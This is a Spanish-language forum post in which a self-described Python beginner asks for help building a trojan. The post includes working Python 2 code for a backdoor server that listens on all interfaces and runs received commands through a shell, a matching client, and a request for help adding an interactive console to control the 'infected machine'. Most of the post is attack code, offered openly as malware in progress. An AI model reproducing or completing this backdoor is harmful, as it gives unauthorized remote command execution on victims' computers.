Ayuda armar troyano

Iniciado por DarkXploitz, Octubre 21, 2017, 09:58:55 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

hola estoy aprendiendo python y voy  lo basico estaba experimentando con crear mi propio backdoor y es estado investigando y e creado lo basico una conexion establecida pero necesito ayuda estos son los codigos,

server:

Código: python
import os
import socket
import threading
from subprocess import Popen
from subprocess import PIPE

def administrar_clientes(socket_cliente):
    peticion = socket_cliente.recv(4096)
    print "[*] Mensaje recibido: %s" % peticion
    respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
    # confirmar al cliente, que el mensaje fue recibido
    socket_cliente.send(respuesta)
    socket_cliente.close()

ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)

print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
    administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
    administrador_de_clientes.start()


cliente:

Código: python
import os
import socket

servidor = "127.0.0.1"
puerto = 39421

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
# solicitamos la lista de archivos del home del usuario
cliente.send( "" );
respuesta = cliente.recv(4096)
print respuesta


el codigo funciona al ejecutar el server aparece la ventana de esperando conexiones cuando ejecuto el cliente establece la conexion pero hasta hay se queda quisiera ayuda para integrar la consola cmd y ejecutar comandos en la maquina infectada, encontre un modulo cmd python pero no se como integrarlo necesito ayuda estoy empesando con python pero entiendo los codigos por favor ayudenme gracias de antemano.

codigo ejecutar cmd desde python:

Código: python
import os

os.system("color a")

while True:
os.system("cls")
cmd = raw_input("Ingresar Comando:")
print os.system(cmd)
raw_input("Ingrese Nuevo Comando:")


como integro este codigo al troyano que estoy haciendo?
No Te Pido Que Pienses Como Yo, Solo Te Pido Que Pienses